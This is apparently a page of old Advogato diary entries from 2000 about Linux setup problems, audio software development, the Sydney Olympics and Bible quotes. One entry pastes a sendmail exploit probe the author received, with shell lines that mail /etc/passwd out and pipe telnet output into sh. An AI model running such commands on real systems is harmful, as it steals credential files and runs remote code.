Older blog entries for pcburns (starting at number 19)

I spent some time upgrading a few packages on my home computer. I installed kde 2. It looks much more polished than previous versions. One new noticeble feature was the kcrash application which displays a stack trace when a program crashes - although perhaps I should have seen that if everything was running smoothly. I am very impressed with konqueror. I would ditch netscape for konqueror if it could do https and if it didn't crash at startup when I am not running the kde desktop. My backspace key has been playing up for the last few days. I'm not sure what caused the problem but I have my suspicions. It served as a flashback to university and the evil ^H problem that existed on many of the terminals. I haven't worked out how to fix it yet.

I also managed to fix the problems that I was having with tuxracer. I had to be forceful with dpkg to install mesag3-glide2, to provide hardware acceleration on my voodoo2, without removing all the applications that depend on mesa.

Tomorrow will be a busy day. I have an interview scheduled for lunchtime. For my evening entertainment, I'm looking forward to "electronic" at the Manning Bar in Sydney Uni from 8pm. It features 10 different artists including b(if)tek, sub bass snarl and 5000 Fingers of Doctor T for just $10.

I ported the Linux Audio Developers Simple Plugin API to win32, by implementing win32 versions of the functions in dlfcn.h and dirent.h . I have added preliminary support for plugins to penguinsound.

I submitted a registration form for PenguinSound to sourceforge. The project page seems to be there, but I haven't received any email from the sourceforge administrators regarding it.

I bought Intersound - the new album from Ju Ju Space Jazz. It sounds much more mature than past albums. I'm very impressed with track 7 "Secrets", I'm sure I've heard it before. Intersound was released by Creative Vibes who also put out the wonderful "Just Is" compilation.

I went to Object World in Darling Harbour, courtesy of the company I work for. I haven't been to Darling Harbour for a long time and apart from Sega World I was pleased with what I saw, although they could do with a few more trees to provide shade along either side of the the harbour.

The seemed to be a stong contingent of Java programmers present and many of the talks were about Java related technology. Brad Abrams gave a talk on Microsoft's .NET framework. They have developed a Common Language Runtime that enables COM objects to be treated as standard objects in each language. Any .NET class written in any language, can be used as a COM class without any extra work. The compilers for each language emit code in an Intermediate Language - MSIL. The MSIL code can be compiled to native code at run-time or install-time. Brad Abrams emphasised the freedom of the developer to develop in their prefered language. He was met with questions regarding the support of J++ under .NET, and ponderings on paper clips.

After "apt-get"ing tuxracer which required me for some reason to also install the latest version of gcc, g++, libc6 and libstdc++2.10, I could no longer compile anything. All the builds that I tried failed at the linker stage with missing symbols. Wishing for a backout option in apt-get, I thought I tried upgrading some other key library and development packages. I finally got the system back into a working state when I upgraded binutils which contains the gnu linker.

Spent about half an hour writing an entry only to lose it after my linux 2.2.16 box locked up. I have now upgraded to 2.2.17 and so far haven't experienced the same problem. It seemed to occur when I ran out of physical memory.

I received an email from Errol Smith asking for comments on an article about constant power panning that he had drafted for the LGDC. The problem with normal, linear panning is that sounds that have their panning in the center sound quiter than sounds that are set to either left or right. I hadn't been aware of the problem and I'll try and fix up PenguinSound to correct the problem.

Sydney is now half way through the olympics. I went to the athletics stadium on friday and saw Cathy Freeman race in a 400m heat. I also saw the 100m heats and a whole lot of bogon moths flying around. The stadium is an amazing place. The number of people in and around homebush bay is incredible. The is a road that runs straight through the olympic complex for a couple of kilometres. It was like a river of people. The are speakers attached to each light pole. They have been set up to let out ambient crowd noise as you walk past ... it's a bit disconcerting to hear grunts and breathing and coughing and no obvious source for the noise.

I went to Circular Quay see the opening ceremony. We had intended to go to Darling Harbour but were persuaded to head for the Domain were we found nothing happening and then headed down to Circular Quay. The plaza in front of Custom House was packed full of people even more than usual. The were people from all over the place including Sweden, Norway and England. The crowd let out a big boo when they saw the USA olympic team enter the stadium, the same thing happened for the New Zealand team. A big cheer went up for the Mongolian flag bearer wearing a superhero style outfit in blue consisting of underpants and a cape. Alcohol flowed freely amongst the crowd, some of it a bit too freely, scattering the crowd.

I've done a bit of work on PenguinSound. I've been meaning to create a sourceforge project for it but I haven't gotten around to it. I got as far as creating an account for myself, and then spent some time looking at all the audio projects on sourceforge. I found amber and had a bit of a play with it. I also found glame which is trying to do for audio what the gimp did for graphics. I took a bit of a look at the code, and noticed they are using a similar approach to connecting filters together as I have taken with my sample editor.

I have improved my filters. Each filter functor now has a function which returns the frequency response. I should probably fix that to make it possible to display the phase response as well. Most filter dialogs now display the frequency response. However, the frequency response isn't updated for some dialogs if the dialog is opened from another dialog. I have created a resonable filter graph widget, which makes it fairly simple and easy to connect the filters together. I haven't been able to work out the frequency response for some filters. I am not sure how to calculate the frequency response for a wave shaping widget. Wave shaping filters can be used to compress or expand or distort the sound, using a map to transform the input level to a new output level. I'm not sure about the frequency response for a filter that simply scales its input - I guess its just a flat line.

I've also done a bit of work on my tracker. I've stuck all the elements that were previously in separate windows into one big window, and modified the tracker widget so that it updates its position when the module is being played. I also found some bugs in the code for saving samples, and fixed them.

I've fixed up my DirectSound audio output code so that it can now play looped samples. The method was simply to create a non-looping buffer for the part before the loop starts and a looping buffer for the looped part. If the loop was bidirectional I simply doubled the size of the buffer and copied the loop in reverse for the second half of the buffer. I've got semi-functional streaming working for the DirectSound. Once I have streaming working poperly I'll try and write some code to record samples, making it available as a generator, and eventually get everything set up so I can talk into a microphone, filter the input and stream it out in close to realtime.

I have no problems with fltk under windows but I am getting strange bugs with Fl_Gl_Windows under linux. Sometimes they refuse to update as is the case with some of the filter dialogs. Other times they segfault in gl_line_stipple or other gl routines that I don't call, when I close the dialog window. It may have something to do with the way I have coded my dialogs. I coded them so that they could be either modal or non-modal.

Here is the code for the do_modal function.

while (m_window->shown()) {Fl::wait();}
return m_modal_ok; 

I have set up the ok and cancel buttons so that they set m_modal_ok appropriately, and then call m_window->hide().

I got a letter from Jenny, and have been spending some time trying to write a letter back.

Took a 6 hour drive to the snow and went snowboarding for the first time.

I wrote a few more filters and created some generators for my sample editor. I haven't thought of a good name for it yet, at the moment it's called fled. Creating the filters and generators is trivial. Creating an intuitive interface for their use is difficult. Each new filter needs a property page, and some way to visuialise what it will do to the sample when run. One good way to see how it will affect the sample is to plot a frequency response graph. All my filters operate in the time domain. At the moment I can see how see a bit of what they will do by generating random noise, viewing the frequency spectrum by performing an FFT on it, and then running the filter over the data. Many of the filters require a number of coefficients that wouldn't mean much to a casual user - hence the need to experiment. Creating a property dialog given a reference or pointer to the base filter or generator class is a bit of a challenge. I had to resort to RTTI. Perhaps there is a better way.

I haven't created a good filter graph widget yet. I've been fudging by using an Fl_Browser - it really isn't appropriate. When I created the filters that are used to connect other filters together I used references rather than pointers thinking that references might be a bit safer. I still managed to get a segfault by passing arguments to filters that were built on the stack and then trying to use them after they had gone out of scope. I would like to be able to modify the filter graph dynamically, which means I will need to create filters dynamically. I think that using pointers to filters will be more appropriate, I'll need to be careful to avoid leaking memory.

The ability to undo an operation is becoming more and more important. Another issue is the ability to edit large sample files, that wont fit into memory, and also the ability to play them back.

Another important thing that is missing from my editor is the display of precise measurements. There are no indications of the length of the sample data, the size of the selected data or any indication of the time in the sample view or the frequency in the frequency spectrum view. This is not suitable for users doing serious work.

I've uploaded the source. I've been thinking about either putting it back in the penguinplay cvs (penguinplay is dead) or creating a source forge project for it. I created a user account on sourceforge and sent some mail about this to the penguinplay list.

Somebody from is port scanning my home machine. My home machine is a dialup running linux with a dynamic ip address. I don't know why they would be interested in gaining access to my machine.

They tested for sendmail vulernabilities as well.

Date: Sat, 12 Aug 2000 10:31:24 +1000 (EST) From: |tail|sh To: <bin@localhost>|tail|sh bin@localhost Subject: ISS (This Email does not indicate a vulnerability)

# IGNORE THE BELOW MESSAGE. # testing sendmail remote bug #!/bin/shcat > /tmp/smail.bad <<EOFSubject: ISS - Sendmail Security Vulnerability Report Sendmail on the originating host is Vulnerable to Intruders. Please contact your Vendor for the Newest Sendmail version. E-mail: <iss@iss.net> for Internet Security Scanner Information. EOF cat /tmp/smail.bad /etc/passwd | mail postmaster ( sleep 2 ; echo quit ) | telnet 5700 | sh >> /tmp/tel.out 2>/tmp/tel.err

My nephew is having a party to celebrate his 6th birthday today.

I'm going to go and see b(if)tek at newtown rsl tonight

I read miguel's article on the future of UNIX.

You can pick pretty much any programming language and use it to invoke CORBA methods or implement a CORBA server. These are typically referred as "CORBA bindings".

In GNOME we use ORBit for our C bindings. Owen Taylor has written a CORBA implementation for Perl using ORBit, and bindings for Python and C++ also exist.

I hope they don't neglect bindings for the shell. I would really like to be able to type stuff into an xterm and use it to manipulate components.

I agree with his assertion that sharing functionality requires more than pipes and filters.

Also, a pipeline looks like this:

command | filter1 | filter2

Information flows from command to filter1 and finally to filter2. There is no way for filter2 to communicate with command or with filter1 and interact with it.

If we have two programs that can be made to work together using CORBA, how do we express the way we want to connect them together from the shell? Should we treat a running program as an object? How do we find out what interfaces it provides and how do we access them? Could we create a shell that parses the CORBA related stuff and acts on it and passes the rest onto the shell it was created in?

(The blockquotes are excerpts from miguel's article.)

I haven't written a diary entry for a while so I'll make up for it with a long entry.


My cd player is developing nicely. I did a bit of work on my tracker. I obtained Maarten de Boer's Fl_Envelope widget, and used to to create a dialog for my wave shaping filter, and to display volume and panning envelopes for instruments. I fixed a small bug with the drawing of the margins and sent the patch to Maarten. I created a pattern widget and a piano widget. I love fltk. It so easy to create nice widgets that work on both windows and linux. I might try and set up a PenguinSound page on sourceforge. It use to be on sunsite.auc.dk but I stopped uploading it there when PenguinPlay died. There is some source on my xoom page but its a bit out of date, there is no current source in a cvs repository. I didn't get any contributions to the source code when Penguinplay was still going so I don't think that I will get any by simply putting it on sourceforge. I think the best way would be to create working applications that people can use. When those users (the techie ones) get frustrated by missing features or bugs, hopefully they'll contribute patches to fix the application. I've just got to write some complete applications and then release it - or should I release buggy applications and hope people see some use for them and help to fix the bugs?

Mozilla's (build 2000072311 - got it through apt) text area widget seems to like moving around with the arrow keys by two characters instead of one.

After the discussion about advogato's trust metric I finally took a look at the source. I've downloaded and compiled the module, but I have not yet set it up with apache properly. I haven't worked on apache modules before, so I've got some learning to do. My previous experience with web applications comes through developing ISAPI and Active Server Components for work. I'd like to add the ability to associate a message with a certification. I'd like to be able to search advogato's diary entries and articles. As advogato gets bigger, i think it would be nice to add the ability to watch for recent diary entries from a selected group of users. I think that the diary entries should be dated with a timestamp, so that more than one can be entered in a day. The users should be able to customise their locale so that the times are meaningful. I'd like to have the comments I make under articles listed under my personal page.


The coach of the Australian Women's Basketball team (Tom Maher?) was invited to speak at the quarterly meeting at the company at which I work. He revealed the secrets of successful teams. One of the basic characteristic of a successful team is that they don't complain or gripe. The team members should be positive and try to build the others up.

Kostya Tszyu was interviewed on The Panel after his victory over Victor Chavez. He was asked about what you need to achieve your dreams. He said that you need more than dreams, you need to be realist about what you can achieve.

I read the recent story about Stallman's visit to Teradyne. After seeing RMS tirelessly respond to the same questions over and over Rene Hollan ask him how he could tolerated it. RMS replied "I have a mission!". Rene noted: "I suppose that he's the only person I can describe as an evangelical atheist without it being an oxymoron." RMS is also fond of portraying himself as the Saint of Free Software. I thought it would be interesting to look at how the early christian evangelists operated. My research degenerates into a list of quotes from the bible. I may have gone a bit overboard. I'll keep the list here because I think they are interesting and I'd like to have a list handy.

When RMS was accused of being a communist, for his stance that everthing should be "free", he responded with a cryptic remark that sharing possessions is a concept that was being practiced at least 2000 years before communism.

Acts 2:44-47 "All the believers were together and had everything in common. Selling their possessions and goods, they gave to anyone as he had need. Every day they continued to meet together in the temple courts. They broke bread in their homes and ate together with glad and sincere hearts, prasing God and enjoying the favor of all the people. And the Lord added to their number daily those who were being saved."

Acts 4:32 "All the believers were one in heart and mind. No one claimed that any of his possessions was his own, but they shared everything they had." Acts 4:34 "There were no needy persons among them. For from time to time those who owned lands or houses sold them, brought the money from the sales and put it at the apostles' feet, and it was distributed to anyone as he had need."

One of the basic concepts the christians had was that they should live their life as an example for others to follow.

Matthew 7:12 "So in everything, do to others what you would have them do to you, for this sums up the Law and the Prophets."

Matthew 7:1-2 "Do not judge, or you too will be judged. For in the same way you judge others, you will be judged, and with the measure you use, it will be measured to you."

Romans 12:21 "Do not be overcome by evil, but overcome evil with good."

Developers who criticise Microsoft for their buggy software had better make sure that their own software is free from bugs.

1 Thessalonians 5:21: "Test everything. Hold on to the good."

Alexander Solzhenitsyn, who won the nobel prize for literature, experienced life in the soviet gulags. He became aware of christians in the prison camps. They were able to persevere despite their suffering - they retained their hope for the future and didn't succumb to depression.

Romans 5:3-4 says "...we also rejoice in our sufferings, because we know that suffering produces perserverance; perserverance, character and character, hope."

Ephesians 4:32 "Be kind and compassionate to one another, forgiving each other, just as in Christ God forgave you."

Colossians 3:13 "Bear with each other and forgive whatever grievances you may have against one another. Forgive as the Lord forgave you."

Ephesians 4:29 "Do not let any unwholesome talk come out of your mouths, but only what is helpful for building others up according to their needs, that it may benefit those who listen."

Romans 12:3 "... Do not think of yourself more highly than you ought, but rather think of yourself with sober judgement,..."

Matthew 7:7-8 "Ask and it will be given to you; seek and you will find; knock and the door will be opened to you. For everyone who asks receives; he who seeks finds; and to him who knocks, the door will be opened."

10 older entries...

New Advogato Features

New HTML Parser: The long-awaited libxml2 based HTML parser code is live. It needs further work but already handles most markup better than the original parser.

Keep up with the latest Advogato features by reading the Advogato status blog.

If you're a C programmer with some spare time, take a look at the mod_virgule project page and help us with one of the tasks on the ToDo list!